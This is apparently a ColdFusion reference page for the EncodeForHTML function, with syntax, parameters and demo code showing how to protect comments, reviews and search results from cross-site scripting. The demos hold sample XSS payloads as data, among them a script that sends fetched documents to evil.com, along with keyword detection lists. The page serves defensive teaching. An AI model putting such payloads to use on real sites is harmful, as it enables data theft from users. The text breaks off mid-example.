- CFML Reference User Guide
- ColdFusion functions
- ColdFusion functions by category
- Functions a-b
- Abs
- ACos
- AddSOAPRequestHeader
- AddSOAPResponseHeader
- AjaxLink
- AjaxOnLoad
- ApplicationStop
- ArrayAppend
- ArrayAvg
- ArrayClear
- ArrayContains
- ArrayContainsNoCase
- ArrayDelete
- ArrayDeleteAt
- ArrayDeleteNoCase
- ArrayEach
- ArrayFilter
- ArrayFind
- ArrayFindAll
- ArrayFindAllNoCase
- ArrayFindNoCase
- ArrayInsertAt
- ArrayIsDefined
- ArrayIsEmpty
- ArrayLen
- ArrayMap
- ArrayMax
- ArrayMin
- ArrayNew
- ArrayPrepend
- ArrayReduce
- ArrayResize
- ArraySet
- ArraySetMetadata
- ArraySlice
- ArraySort
- ArraySum
- ArraySwap
- ArrayToList
- Asc
- ASin
- Atn
- AuthenticatedContext
- AuthenticatedUser
- BinaryDecode
- BinaryEncode
- BitAnd
- BitMaskClear
- BitMaskRead
- BitMaskSet
- BitNot
- BitOr
- BitSHLN
- BitSHRN
- BitXor
- BooleanFormat
- Abs
- Functions-c-d
- CacheGet
- CacheGetAllIds
- CacheGetMetadata
- CacheGetProperties
- CacheGetSession
- CacheIdExists
- CachePut
- CacheRegionExists
- CacheRegionNew
- CacheRegionRemove
- CacheRemove
- CacheRemoveAll
- CacheSetProperties
- CallStackDump
- CallStackGet
- CanDeSerialize
- Canonicalize
- CanSerialize
- Ceiling
- CharsetDecode
- CharsetEncode
- Chr
- CJustify
- Compare
- CompareNoCase
- Cos
- CreateDate
- CreateDateTime
- CreateObject
- CreateObject: .NET object
- CreateObject: COM object
- CreateObject: component object
- CreateObject: CORBA object
- CreateObject: Java or EJB object
- CreateObject: web service object
- CreateODBCDate
- CreateODBCDateTime
- CreateODBCTime
- CreateSignedJWT
- CreateEncryptedJWT
- CreateTime
- CreateTimeSpan
- CreateUUID
- CSRFGenerateToken
- CSRFVerifyToken
- CSVRead
- CSVWrite
- CSVProcess
- DateAdd
- DateCompare
- DateConvert
- DateDiff
- DateFormat
- DatePart
- DateTimeFormat
- Day
- DayOfWeek
- DayOfWeekAsString
- DayOfYear
- DaysInMonth
- DaysInYear
- DE
- DecimalFormat
- DecodeForHTML
- DecodeFromURL
- DecrementValue
- Decrypt
- DecryptBinary
- DeleteClientVariable
- Deserialize
- DeserializeJSON
- DeserializeXML
- DirectoryCopy
- DirectoryCreate
- DirectoryDelete
- DirectoryExists
- DirectoryList
- DirectoryRename
- DollarFormat
- DotNetToCFType
- Duplicate
- Functions-e-g
- EncodeForCSS
- EncodeForDN
- EncodeForHTML
- EncodeForHTMLAttribute
- EncodeForJavaScript
- EncodeForLDAP
- EncodeForURL
- EncodeForXML
- EncodeForXMLAttribute
- EncodeForXpath
- Encrypt
- EncryptBinary
- EntityDelete
- EntityLoad
- EntityLoadByExample
- EntityLoadByPK
- EntityMerge
- EntityNew
- EntityReload
- EntitySave
- EntityToQuery
- Evaluate
- Exp
- ExpandPath
- FileClose
- FileCopy
- FileDelete
- FileExists
- FileGetMimeType
- FileIsEOF
- FileMove
- FileOpen
- FileRead
- FileReadBinary
- FileReadLine
- FileSeek
- FileSetAccessMode
- FileSetAttribute
- FileSetLastModified
- FileSkipBytes
- FileUpload
- FileUploadAll
- FileWrite
- FileWriteLine
- Find
- FindNoCase
- FindOneOf
- FirstDayOfMonth
- Fix
- Floor
- FormatBaseN
- GeneratePBKDFKey
- GenerateSecretKey
- GetApplicationMetadata
- GetAuthUser
- GetBaseTagData
- GetBaseTagList
- GetBaseTemplatePath
- GetClientVariablesList
- GetComponentMetaData
- GetContextRoot
- GetCPUUsage
- GetCurrentTemplatePath
- GetCSPNonce
- GetDirectoryFromPath
- GetEncoding
- GetException
- GetFileFromPath
- GetFileInfo
- GetFreeSpace
- GetFunctionCalledName
- GetFunctionList
- GetGatewayHelper
- GetHttpRequestData
- GetHttpTimeString
- GetK2ServerDocCount
- GetK2ServerDocCountLimit
- GetLocale
- GetLocaleDisplayName
- GetLocalHostIP
- GetMetaData
- GetMetricData
- GetPageContext
- GetPropertyString
- GetPropertyFile
- GetPrinterInfo
- GetPrinterList
- GetProfileSections
- GetProfileString
- GetReadableImageFormats
- GetSafeHTML
- GetSAMLAuthRequest
- GetSAMLLogoutRequest
- Generate3DesKey
- GenerateSAMLSPMetadata
- GetSOAPRequest
- GetSOAPRequestHeader
- GetSOAPResponse
- GetSOAPResponseHeader
- GetSystemFreeMemory
- GetSystemTotalMemory
- GetTempDirectory
- GetTempFile
- GetTemplatePath
- GetTickCount
- GetTimeZoneInfo
- GetToken
- GetTotalSpace
- GetUserRoles
- GetVFSMetaData
- GetWriteableImageFormats
- Functions-h-im
- Hash
- HMac
- Hour
- HQLMethods
- HTMLCodeFormat
- HTMLEditFormat
- IIf
- ImageAddBorder
- ImageBlur
- ImageClearRect
- ImageCopy
- ImageCreateCaptcha
- ImageCrop
- ImageDrawArc
- ImageDrawBeveledRect
- ImageDrawCubicCurve
- ImageDrawLine
- ImageDrawLines
- ImageDrawOval
- ImageDrawPoint
- ImageDrawQuadraticCurve
- ImageDrawRect
- ImageDrawRoundRect
- ImageDrawText
- ImageFlip
- ImageGetBlob
- ImageGetBufferedImage
- ImageGetEXIFMetadata
- ImageGetEXIFTag
- ImageGetHeight
- ImageGetIPTCMetadata
- ImageGetIPTCTag
- ImageGetMetadata
- ImageGetWidth
- ImageGrayscale
- ImageInfo
- ImageMakeColorTransparent
- ImageMakeTranslucent
- ImageNegative
- ImageNew
- ImageOverlay
- ImagePaste
- ImageRead
- ImageReadBase64
- ImageResize
- ImageRotate
- ImageRotateDrawingAxis
- ImageScaleToFit
- ImageSetAntialiasing
- ImageSetBackgroundColor
- ImageSetDrawingColor
- ImageSetDrawingStroke
- ImageSetDrawingTransparency
- ImageSharpen
- ImageShear
- ImageShearDrawingAxis
- ImageTranslate
- ImageTranslateDrawingAxis
- ImageWrite
- ImageWriteBase64
- ImageXORDrawingMode
- Functions-in-k
- IncrementValue
- InputBaseN
- Insert
- Int
- InterruptThread
- InvalidateOauthAccesstoken
- Invoke
- InitSAMLAuthRequest
- InitSAMLLogoutRequest
- InvokeCFClientFunction
- IsArray
- IsAuthenticated
- IsAuthorized
- IsBinary
- IsBoolean
- IsClosure
- IsCustomFunction
- IsDate
- IsDateObject
- IsDDX
- IsDebugMode
- IsDefined
- IsImage
- IsImageFile
- IsInstanceOf
- IsIPv6
- IsJSON
- IsK2ServerABroker
- IsK2ServerDocCountExceeded
- IsK2ServerOnline
- IsLeapYear
- IsLocalHost
- IsNull
- IsNumeric
- IsNumericDate
- IsObject
- isOnline
- IsPDFArchive
- IsPDFFile
- IsPDFObject
- IsProtected
- IsQuery
- isSamlLogoutResponse
- isSafeHTML
- IsSimpleValue
- IsSOAPRequest
- IsSpreadsheetFile
- IsSpreadsheetObject
- IsStruct
- isThreadInterrupted
- IsUserInAnyRole
- IsUserInRole
- IsUserLoggedIn
- IsValid
- IsValidOauthAccesstoken
- IsWDDX
- IsXML
- IsXmlAttribute
- IsXmlDoc
- IsXmlElem
- IsXmlNode
- IsXmlRoot
- JavaCast
- JSStringFormat
- Functions-l
- LCase
- Left
- Len
- ListAppend
- ListChangeDelims
- ListContains
- ListContainsNoCase
- ListDeleteAt
- ListEach
- ListFilter
- ListFind
- ListFindNoCase
- ListFirst
- ListGetAt
- ListGetDuplicates
- ListInsertAt
- ListLast
- ListLen
- ListMap
- ListPrepend
- ListQualify
- ListReduce
- ListRemoveDuplicates
- ListRest
- ListSetAt
- ListSort
- ListToArray
- ListValueCount
- ListValueCountNoCase
- LJustify
- Location
- Log
- Log10
- LSCurrencyFormat
- LSDateFormat
- LSDateTimeFormat
- LSEuroCurrencyFormat
- LSIsCurrency
- LSIsDate
- LSIsNumeric
- LSNumberFormat
- LSParseCurrency
- LSParseDateTime
- LSParseEuroCurrency
- LSParseNumber
- LSTimeFormat
- LTrim
- Functions-m-r
- Max
- Mid
- Min
- Minute
- Month
- MonthAsString
- Now
- NumberFormat
- ObjectEquals
- ObjectLoad
- ObjectSave
- OnWSAuthenticate
- ORMClearSession
- ORMCloseAllSessions
- ORMCloseSession
- ORMEvictCollection
- ORMEvictEntity
- ORMEvictQueries
- ORMExecuteQuery
- ORMFlush
- ORMFlushall
- ORMGetSession
- ORMGetSessionFactory
- ORMIndex
- ORMIndexPurge
- ORMReload
- ORMSearch
- ORMSearchOffline
- ParagraphFormat
- ParameterExists
- ParseDateTime
- Pi
- PrecisionEvaluate
- ProcessSAMLResponse
- ProcessSAMLLogoutRequest
- Quarter
- PreserveSingleQuotes
- QueryAddColumn
- QueryAddRow
- QueryConvertForGrid
- QueryExecute
- QueryFilter
- QueryGetResult
- QueryGetRow
- QueryKeyExists
- QueryMap
- QueryNew
- QueryReduce
- QuerySetCell
- QuotedValueList
- QueryEach
- Rand
- Randomize
- RandRange
- ReEscape
- REFind
- REFindNoCase
- ReleaseComObject
- REMatch
- REMatchNoCase
- RemoveCachedQuery
- RemoveChars
- RepeatString
- Replace
- ReplaceList
- ReplaceNoCase
- REReplace
- REReplaceNoCase
- RestDeleteApplication
- RestSetResponse
- RestInitApplication
- Reverse
- Right
- RJustify
- Round
- RTrim
- Functions-s
- Second
- SendGatewayMessage
- SendSAMLLogoutResponse
- Serialize
- SerializeJSON
- SerializeXML
- SessionInvalidate
- SessionRotate
- SessionGetMetaData
- SessionInvalidate
- SessionRotate
- SetDay
- SetEncoding
- SetHour
- SetLocale
- SetMonth
- SetProfileString
- SetPropertyString
- SetVariable
- SetYear
- Sgn
- Sin
- Sleep
- SpanExcluding
- SpanIncluding
- SpreadsheetAddAutoFilter
- SpreadsheetAddColumn
- SpreadsheetAddFreezePane
- SpreadsheetAddImage
- SpreadsheetAddInfo
- SpreadsheetAddPageBreaks
- SpreadsheetAddRow
- SpreadsheetAddRows
- SpreadsheetAddSplitPane
- SpreadsheetCreateSheet
- SpreadsheetDeleteColumn
- SpreadsheetDeleteColumns
- SpreadsheetDeleteRow
- SpreadsheetDeleteRows
- SpreadsheetFormatCell
- SpreadsheetFormatColumn
- SpreadsheetFormatCellRange
- SpreadsheetFormatColumn
- SpreadsheetFormatColumns
- SpreadsheetFormatRow
- SpreadsheetFormatRows
- SpreadsheetGetCellComment
- SpreadsheetGetCellFormula
- SpreadsheetGetCellValue
- SpreadsheetGetColumnCount
- SpreadsheetInfo
- SpreadsheetMergeCells
- SpreadsheetNew
- SpreadsheetRead
- SpreadsheetReadBinary
- SpreadsheetRemoveSheet
- SpreadsheetSetActiveSheet
- SpreadsheetSetActiveSheetNumber
- SpreadsheetSetCellComment
- SpreadsheetSetCellFormula
- SpreadsheetSetCellValue
- SpreadsheetSetColumnWidth
- SpreadsheetSetFooter
- SpreadsheetSetHeader
- SpreadsheetSetRowHeight
- SpreadsheetShiftColumns
- SpreadsheetShiftRows
- SpreadsheetWrite
- StreamingSpreadsheetNew
- StreamingSpreadsheetCleanup
- StreamingSpreadsheetRead
- StreamingSpreadsheetProcess
- SpreadsheetSetFooterImage
- SpreadsheetSetHeaderImage
- SpreadsheetSetFittoPage
- SpreadsheetUngroupColumns
- SpreadsheetGroupColumns
- SpreadsheetUngroupRows
- SpreadsheetGroupRows
- SpreadsheetRemoveColumnBreak
- SpreadsheetSetColumnBreak
- SpreadsheetRemoveRowBreak
- SpreadsheetSetRowBreak
- SpreadsheetRemovePrintGridlines
- SpreadsheetAddPrintGridlines
- SpreadsheetGetColumnWidth
- SpreadsheetSetColumnHidden
- SpreadsheetSetRowHidden
- SpreadsheetisColumnHidden
- SpreadsheetisRowHidden
- SpreadsheetisStreamingXmlFormat
- SpreadsheetisXmlFormat
- SpreadsheetisBinaryFormat
- SpreadsheetRenameSheet
- SpreadsheetRemoveSheetNumber
- SpreadsheetGetLastRowNumber
- SpreadsheetGetPrintOrientation
- Sqr
- StripCR
- StructAppend
- StructClear
- StructCopy
- StructCount
- StructDelete
- StructEach
- StructFilter
- StructFind
- StructFindKey
- StructFindValue
- StructGet
- StructGetMetadata
- StructInsert
- StructIsEmpty
- StructKeyArray
- StructKeyExists
- StructKeyList
- StructMap
- StructNew
- StructReduce
- StructSetMetadata
- StructSort
- StructToSorted
- StructUpdate
- StructValueArray
- StoreSetMetadata
- StoreGetACL
- StoreGetMetadata
- StoreAddACL
- StoreSetACL
- Functions-t-z
- Tan
- ThreadJoin
- ThreadTerminate
- Throw
- TimeFormat
- ToBase64
- ToBinary
- ToScript
- ToString
- Trace
- Transactionandconcurrency
- TransactionCommit
- TransactionRollback
- TransactionSetSavePoint
- Trim
- UCase
- URLDecode
- URLEncodedFormat
- URLSessionFormat
- Val
- ValueList
- VerifyClient
- Week
- Wrap
- WriteDump
- WriteLog
- WriteOutput
- WSGetAllChannels
- WSGetSubscribers
- WSPublish
- WSSendMessage
- XmlChildPos
- XmlElemNew
- XmlFormat
- XmlGetNodeType
- XmlNew
- XmlParse
- XmlSearch
- XmlTransform
- XmlValidate
- Year
- YesNoFormat
- ColdFusion tags
- ColdFusion tag summary
- ColdFusion tags by category
- Application framework tags
- Communications tags
- Database manipulation tags
- Data output tags
- Debugging tags
- Exception handling tags
- Extensibility tags
- File management tags
- Flow-control tags
- Forms tags
- Internet Protocol tags
- Page processing tags
- Security tags
- Variable manipulation tags
- Other tags
- Tags a-b
- Tags c
- cfcache
- cfcalendar
- cfcase
- cfcatch
- cfchart
- cfchart tag in ColdFusion
- Get started with cfchart
- Customize a chart using cfchart
- Advanced cfchart customization options
- Create an area chart in ColdFusion
- Create line charts in ColdFusion
- Create bar charts in ColdFusion
- Create floating bar charts in ColdFusion
- Create histograms in ColdFusion
- Create pie charts in ColdFusion
- Create funnel charts in ColdFusion
- Create pyramid charts in ColdFusion
- Create curve charts in ColdFusion
- Create boxplots in ColdFusion
- Create donut charts in ColdFusion
- Create bubble charts in ColdFusion
- Create scatterplots in ColdFusion
- Create radar charts in ColdFusion
- Other chart types in ColdFusion (Cone, Cylinder, Piano, and Bullet)
- Advanced customization options in cfchart
- cfchartdata
- cfchartseries
- cfchartset
- cfclient
- cfclientsettings
- cfcol
- cfcollection
- cfcomponent
- cfcontent
- cfcontinue
- cfcookie
- Tags f
- cffeed
- cffile
- cffile action = "append"
- cffile action = "copy"
- cffile action = "delete"
- cffile action = "move"
- cffile action = "read"
- cffile action = "readBinary"
- cffile action = "rename"
- cffile action = "upload"
- cffile action = "uploadAll"
- cffile action = "write"
- cffileupload
- cffinally
- cfflush
- cfform
- cfformgroup
- cfformitem
- cfftp
- cfftp: Connection: file and directory operations
- cfftp: Opening and closing FTP server connections
- cfftp : Opening and closing secure FTP server connections
- cfftp action = "listDir"
- cffunction
- Tags g-h
- Tags i
- Tags j-l
- cfjava
- cflayout
- cflayoutarea
- cfldap
- cflocation
- cflock
- cflog
- cflogin
- cfloginuser
- cflogout
- cfloop
- cfloop : conditional loop
- cfloop : index loop
- cfloop : looping over a COM collection or structure
- cfloop : looping over a date or time range
- cfloop : looping over a list, a file, or an array
- cfloop : looping over a query
- Tags m-o
- cfmail
- cfmailparam
- cfmailpart
- cfmap
- cfmapitem
- cfmediaplayer
- cfmenu
- cfmenuitem
- cfmessagebox
- cfmodule
- cfNTauthenticate
- cfoauth
- cfobject
- cfobject: .NET object
- cfobject: COM object
- cfobject: component object
- cfobject: CORBA object
- cfobject: Java or EJB object
- cfobject: web service object
- cfobjectcache
- cfoutput
- Tags p-q
- Tags r-s
- Tags t
- Tags u-z
- CFML Reference
- Reserved words and variables
- Ajax JavaScript functions
- Ajax JavaScript functions
- Function summary Ajax
- ColdFusion.Ajax.submitForm
- ColdFusion.Autosuggest.getAutosuggestObject
- ColdFusion.Layout.enableSourceBind
- ColdFusion.MessageBox.getMessageBoxObject
- ColdFusion.ProgressBar.getProgressBarObject
- ColdFusion.MessageBox.isMessageBoxDefined
- JavaScriptFunctionsinColdFusion9Update1
- ColdFusion ActionScript functions
- ColdFusion mobile functions
- Application.cfc reference
- Script functions implemented as CFCs
- ColdFusion Flash Form style reference
- Styles valid for all controls
- Styles for cfform
- Styles for cfformgroup with horizontal or vertical type attributes
- Styles for box-style cfformgroup elements
- Styles for cfformgroup with accordion type attribute
- Styles for cfformgroup with tabnavigator type attribute
- Styles for cfformitem with hrule or vrule type attributes
- Styles for cfinput with radio, checkbox, button, image, or submit type attributes
- Styles for cftextarea tag and cfinput with text, password, or hidden type attributes
- Styles for cfselect with size attribute value of 1
- Styles for cfselect with size attribute value greater than 1
- Styles for cfcalendar tag and cfinput with dateField type attribute
- Styles for the cfgrid tag
- Styles for the cftree tag
- ColdFusion Flash Form Style Reference
- ColdFusion event gateway reference
- ColdFusion Event Gateway reference
- addEvent
- CFEvent
- CFEventclass
- Constructor
- Gateway development interfaces and classes
- getStatus
- setCFCPath
- setCFCMethod
- getOriginatorID
- getLogger
- getBuddyList
- getBuddyInfo
- IM gateway message sending commands
- IM Gateway GatewayHelper class methods
- onIncomingMessage
- onIMServerMessage
- onBuddyStatus
- onAddBuddyResponse
- onAddBuddyRequest
- IM Gateway CFC incoming message methods
- IM gateway methods and commands
- CFML CFEvent structure
- warn
- info
- setOriginatorID
- data command
- submit Multi command
- submit command
- setGatewayType
- setGatewayID
- setData
- setCFCListeners
- outgoingMessage
- getStatusTimeStamp
- numberOfMessagesReceived
- numberOfMessagesSent
- removeBuddy
- removeDeny
- removePermit
- setNickName
- setPermitMode
- setStatus
- SMS Gateway CFEvent structure and commands
- SMS Gateway incoming message CFEvent structure
- getStatusAsString
- getProtocolName
- getPermitMode
- getPermitList
- getNickName
- getName
- getDenyList
- getCustomAwayMessage
- getQueueSize
- getMaxQueueSize
- getHelper
- getGatewayType
- getGatewayServices
- getGatewayID_1
- getGatewayID
- getData
- getCFCTimeout
- setCFCTimeout
- getCFCPath
- getCFCMethod
- GatewayServices class
- Gateway interface
- GatewayHelper interface
- addPermit
- addDeny
- addBuddy
- error
- debug
- Logger class
- stop
- start
- CFML event gateway SendGatewayMessage data parameter
- restart
- fatal
- SMS gateway message sending commands
- ColdFusion C++ CFX Reference
- ColdFusion Java CFX reference
- WDDX JavaScript Objects
- Cloud services
- ColdFusion and GCP Storage
- ColdFusion and GCP Firestore
- ColdFusion and GCP PubSub
- ColdFusion and Amazon S3
- ColdFusion and DynamoDB
- ColdFusion and Amazon SQS
- ColdFusion and Amazon SNS
- ColdFusion and MongoDB
- ColdFusion and Azure Blob
- ColdFusion and Azure Service Bus
- Multi-cloud storage services
- Multi-cloud RDS databases
- ColdFusion and Azure Cosmos DB
Description
Encodes an input string for a safe HTML output to prevent Cross Site Scripting (XSS) attacks. Prior to ColdFusion 10, the HTMLEditFormat function encoded user inputs to avoid unwanted HTML rendering. But HTMLEditFormat had its limitations when encoding <, >, and &. EncodeForHTML mitigates these risks.
Returns
Encoded string
Category
Display and formatting functions
Syntax
encodeForHTML(string [,canonicalize])
See also
Canonicalize, EncodeForHTMLAttribute, EncodeForJavaScript, EncodeForCSS, EncodeForURL
History
ColdFusion (2018 release): Introduced named parameters.
ColdFusion 10: Added this function.
Parameters
Parameter |
Description |
|---|---|
string |
Required. The string to encode. |
canonicalize |
Optional. If set to true, canonicalization happens before encoding. If set to false, the given input string will just be encoded. The default value for canonicalize is false. When this parameter is not specified, canonicalization will not happen. By default, when canonicalization is performed, both mixed and multiple encodings will be allowed. To use any other combinations you should canonicalize using canonicalize method and then perform encoding. |
Example with HTMLEditFormat
<cfscript>
s1="<script>";
s2="&<>'/" & '"';
WriteOutput(EncodeForHTMLAttribute(s1) & "<br/>");
WriteOutput(EncodeForHTMLAttribute(s2));
</cfscript>
Output
<script> | &<>'/" & '"
Example using EncodeForHTML
<cfscript>
s1="<script>";
s2="&<>'/" & '"';
WriteOutput(EncodeForHTML(s1) & " | ");
WriteOutput(EncodeForHTML(s2));
</cfscript>
Output
<script> | &<>'/"
Real-world uses of the EncodeForTML function
User comment system- Blog platform security
A popular technology blog with 50,000+ monthly visitors allows user comments on articles. The platform generates significant revenue through advertising and sponsored content, making security and user trust critical to business success. How it helps:
- Solid protection against HTML injection XSS attacks in comments
- Maintains a safe browsing environment, encouraging continued engagement
- Prevents security incidents that could drive away advertisers
- Meets web security standards required by advertising partners
<cfscript>
// Global security functions
function detectXSSThreats(content) {
var threats = [];
var patterns = ["<script", "javascript:", "onerror=", "onload=", "onclick=", "onmouseover=", "onfocus=", "data:", "vbscript:"];
for (var pattern in patterns) {
if (findNoCase(pattern, content)) {
arrayAppend(threats, pattern);
}
}
return threats;
}
function logSecurityEvent(eventType, details, threatLevel = "medium") {
writeLog(
text = "EncodeForHTML Security Event: #eventType# - #details#",
type = "security",
file = "encodeforhtml_security_#dateFormat(now(), 'yyyymmdd')#"
);
}
function displaySecurityStatus(isSecure, threatCount = 0) {
if (isSecure && threatCount == 0) {
return "✅ SECURE - No threats detected";
} else if (isSecure && threatCount > 0) {
return "🛡️ SECURED - #threatCount# threat(s) neutralized";
} else {
return "🚨 INSECURE - Review content immediately";
}
}
</cfscript>
<cfscript>
// Sample 1: User Comments with XSS threats
userComments = [
{
id: 1,
author: "John Smith",
content: "Great article! I learned a lot about <b>ColdFusion</b> development.",
email: "john@example.com",
postDate: now()
},
{
id: 2,
author: "Potential Attacker",
content: "Nice post! <script>alert('XSS Attack!');</script> What do you think?",
email: "attacker@evil.com",
postDate: dateAdd("h", -1, now())
},
{
id: 3,
author: "Sarah Wilson",
content: "I disagree with this approach. The solution should handle <, >, & and quotes properly.",
email: "sarah@example.com",
postDate: dateAdd("m", -30, now())
}
];
// Security metrics for comments
commentStats = {
total: arrayLen(userComments),
threats: 0,
secured: 0,
errors: 0
};
</cfscript>
<cfoutput>
<h2>🗨️ USE CASE 1: User Comment System - Blog Platform Security</h2>
<p><strong>Business Context:</strong> Technology blog with 50,000+ monthly visitors</p>
<p><strong>Processing #commentStats.total# user comments with XSS protection...</strong></p>
</cfoutput>
<cfloop array="#userComments#" index="comment">
<cftry>
<cfscript>
threats = detectXSSThreats(comment.content);
isXSSAttempt = arrayLen(threats) > 0;
if (isXSSAttempt) {
commentStats.threats++;
logSecurityEvent("Comment XSS Attempt", "Comment ID: #comment.id#, Patterns: #arrayToList(threats)#", "high");
}
</cfscript>
<cfoutput>
<h3>Comment #comment.id# - #encodeForHTML(comment.author)#</h3>
<p><strong>Posted:</strong> #dateTimeFormat(comment.postDate, "mmm dd, yyyy HH:nn")#</p>
<p><strong>Email:</strong> #encodeForHTML(comment.email)#</p>
</cfoutput>
<cfif isXSSAttempt>
<cfoutput>
<p style="color: red;"><strong>🚨 XSS THREAT DETECTED</strong></p>
<p><strong>Threat Patterns:</strong> #arrayToList(threats, ", ")#</p>
<p><strong>Raw Content (DANGEROUS):</strong></p>
<!---<pre style="background: #ffebee; padding: 10px; border: 1px solid red;">#htmlEditFormat(comment.content)#</pre>--->
<p><strong>Safely Encoded Content:</strong></p>
<!---<pre style="background: #e8f5e8; padding: 10px; border: 1px solid green;">#encodeForHTML(comment.content)#</pre>--->
<p><strong>Security Status:</strong> <span style="color: green;">🛡️ Threat Neutralized</span></p>
</cfoutput>
<cfelse>
<cfoutput>
<p style="color: green;"><strong>✅ SAFE CONTENT</strong></p>
<p><strong>Content:</strong> #encodeForHTML(comment.content)#</p>
<p><strong>Security Status:</strong> <span style="color: green;">✅ Content Secure</span></p>
</cfoutput>
</cfif>
<cfset commentStats.secured++>
<cfoutput><hr></cfoutput>
<cfcatch type="any">
<cfset commentStats.errors++>
<cfoutput>
<p style="color: red;"><strong>❌ Processing Error:</strong> #cfcatch.message#</p>
<hr>
</cfoutput>
</cfcatch>
</cftry>
</cfloop>
<cfoutput>
<h3>📊 Comment Security Summary</h3>
<ul>
<li><strong>Total Comments:</strong> #commentStats.total#</li>
<li><strong>XSS Threats Detected:</strong> #commentStats.threats#</li>
<li><strong>Successfully Secured:</strong> #commentStats.secured#</li>
<li><strong>Processing Errors:</strong> #commentStats.errors#</li>
<cfif commentStats.total GT 0>
<li><strong>Security Success Rate:</strong> #numberFormat((commentStats.secured/commentStats.total)*100, "999.9")#%</li>
</cfif>
</ul>
<!---<hr style="border: 2px solid #333;">--->
</cfoutput>
eCommerce product review security
An online marketplace with $10M+ annual revenue displays customer product reviews to influence purchasing decisions. Product reviews significantly impact sales conversion rates, making both content security and authentic feedback display critical for business success. How it helps stop threats:
- Scripts that capture credit card information during checkout process
- Malicious code redirecting high-intent customers to competitor sites
- Session stealing scripts compromising customer accounts
- Scripts attempting to modify product pricing or availability
<cfscript>
// Simple Product Review System - XSS Protection Demo
// Business: E-commerce store preventing malicious reviews
// Sample product reviews with security threats
reviews = [
{
id: "R001",
product: "Wireless Headphones",
customer: "Mike Chen",
rating: 5,
title: "Great sound quality!",
review: "Love these headphones. Excellent <b>bass</b> and clear audio.",
safe: true
},
{
id: "R002",
product: "Wireless Headphones",
customer: "Evil Reviewer",
rating: 1,
title: "Terrible! <script>window.location='http://competitor.com';</script>",
review: "Don't buy this! Go to BetterStore.com instead!",
safe: false
},
{
id: "R003",
product: "Wireless Headphones",
customer: "Sarah Johnson",
rating: 4,
title: "Good value for money",
review: "Nice headphones for the price. Battery could be better. Rating: 4/5 stars.",
safe: true
}
];
// Simple threat detection for reviews
function hasReviewThreat(title, review) {
return (findNoCase("<script", title) OR
findNoCase("<script", review) OR
findNoCase("onerror=", title) OR
findNoCase("onerror=", review));
}
// Count results
totalReviews = arrayLen(reviews);
threatsBlocked = 0;
safeReviews = 0;
</cfscript>
<cfoutput>
<h1>⭐ Product Review Security Demo</h1>
<p><strong>Business:</strong> E-commerce store with customer reviews</p>
<p><strong>Risk:</strong> XSS attacks and competitor sabotage</p>
<p><strong>Solution:</strong> encodeForHTML() function</p>
<hr>
<h2>Product: Wireless Headphones</h2>
</cfoutput>
<cfloop array="#reviews#" index="review">
<cfscript>
hasThreat = hasReviewThreat(review.title, review.review);
if (hasThreat) {
threatsBlocked++;
} else {
safeReviews++;
}
</cfscript>
<cfoutput>
<h3>Review #review.id# - #encodeForHTML(review.customer)#</h3>
<p><strong>Rating:</strong>
<cfloop from="1" to="#review.rating#" index="star">⭐</cfloop>
(#review.rating#/5)
</p>
<cfif hasThreat>
<div style="background: ##ffcccc; padding: 15px; border-radius: 5px; margin: 10px 0;">
<h4 style="color: red;">🚨 MALICIOUS REVIEW DETECTED</h4>
<p><strong>Dangerous Title (Raw):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid red;">
#encodeForHTML(review.title)#
</code>
<p><strong>Safe Title (Encoded):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid green;">
#encodeForHTML(review.title)#
</code>
<p><strong>Dangerous Review (Raw):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid red;">
#encodeForHTML(review.review)#
</code>
<p><strong>Safe Review (Encoded):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid green;">
#encodeForHTML(review.review)#
</code>
<p style="color: red;"><strong>🚫 Review Blocked - Security Violation</strong></p>
</div>
<cfelse>
<div style="background: ##ccffcc; padding: 15px; border-radius: 5px; margin: 10px 0;">
<h4 style="color: green;">✅ LEGITIMATE REVIEW</h4>
<p><strong>Title:</strong> #encodeForHTML(review.title)#</p>
<p><strong>Review:</strong> #encodeForHTML(review.review)#</p>
<p style="color: green;"><strong>✅ Published Successfully</strong></p>
</div>
</cfif>
<hr>
</cfoutput>
</cfloop>
<cfoutput>
<h2>📊 Review Security Summary</h2>
<ul>
<li><strong>Total Reviews:</strong> #totalReviews#</li>
<li><strong>Malicious Reviews Blocked:</strong> #threatsBlocked#</li>
<li><strong>Safe Reviews Published:</strong> #safeReviews#</li>
<li><strong>Customer Protection:</strong> 100% - All attacks prevented</li>
</ul>
<h3>✅ Result</h3>
<p><strong>E-commerce Security:</strong> <span style="color: green;">🛡️ PROTECTED</span></p>
<p><strong>Customer Safety:</strong> <span style="color: green;">✅ Secured</span></p>
<p><strong>Sales Protection:</strong> <span style="color: green;">✅ Maintained</span></p>
</cfoutput>
Search query results security
A corporate knowledge base with 100,000+ documents serves as the central information repository for a Fortune 500 company. Employees use the search system to find critical business information, making search result integrity essential for operational efficiency and data security.
How it helps prevention and security:
- Search queries containing scripts that automatically download and transmit search results
- Malicious queries that steal administrator session tokens for system access
- Scripts that probe system architecture and document classification levels
- XSS attacks used as initial foothold for broader network compromise
<cfscript>
// Simple Search Query Security Demo
// Business: Corporate search system preventing data theft
// Sample search queries with security threats
searchQueries = [
{
id: "Q001",
user: "Jane Developer",
query: "ColdFusion security best practices",
results: 15,
safe: true
},
{
id: "Q002",
user: "Data Thief",
query: "<script>fetch('/api/documents').then(r=>r.json()).then(data=>fetch('http://evil.com/steal',{method:'POST',body:JSON.stringify(data)}))</script>confidential files",
results: 0,
safe: false
},
{
id: "Q003",
user: "Bob Manager",
query: "project planning templates & guidelines",
results: 8,
safe: true
}
];
// Simple threat detection for search
function isSearchThreat(query) {
return (findNoCase("<script", query) OR
findNoCase("fetch(", query) OR
findNoCase("javascript:", query));
}
// Count results
totalQueries = arrayLen(searchQueries);
threatsBlocked = 0;
safeQueries = 0;
</cfscript>
<cfoutput>
<h1>🔍 Search Query Security Demo</h1>
<p><strong>Business:</strong> Corporate search system with confidential documents</p>
<p><strong>Risk:</strong> Data theft through malicious search queries</p>
<p><strong>Solution:</strong> encodeForHTML() function</p>
<hr>
</cfoutput>
<cfloop array="#searchQueries#" index="search">
<cfscript>
hasThreat = isSearchThreat(search.query);
if (hasThreat) {
threatsBlocked++;
} else {
safeQueries++;
}
</cfscript>
<cfoutput>
<h3>Search Query #search.id#</h3>
<p><strong>User:</strong> #encodeForHTML(search.user)#</p>
<cfif hasThreat>
